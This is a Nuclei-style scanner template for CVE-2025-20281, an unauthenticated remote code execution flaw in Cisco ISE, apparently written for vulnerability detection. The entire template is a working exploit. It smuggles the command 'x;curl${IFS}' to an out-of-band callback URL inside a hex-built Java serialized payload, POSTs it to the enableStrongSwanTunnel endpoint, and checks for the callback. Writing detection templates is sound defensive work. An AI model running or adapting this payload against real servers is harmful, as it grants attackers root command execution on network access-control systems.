id: CVE-2025-20281

info:
  name: "Cisco ISE - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote
    attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require
    any valid credentials to exploit this vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-20281&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20281
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,cisco,cisco-ise,rce,kev,vkev,oast,oob,vuln
variables:
  cmd: 'x;curl${IFS}http://{{interactsh-url}}'
  serialized_str: '{{concat(hex_decode("aced0005757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000027400"), hex_decode(dec_to_hex(len(cmd))), cmd, hex_decode("740000"))}}'

http:
  - raw:
      - |
        POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
        Host: {{Hostname}}

        {{serialized_str}}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'http')"
          - 'status_code == 200'
          - 'len(body)==2'
        condition: and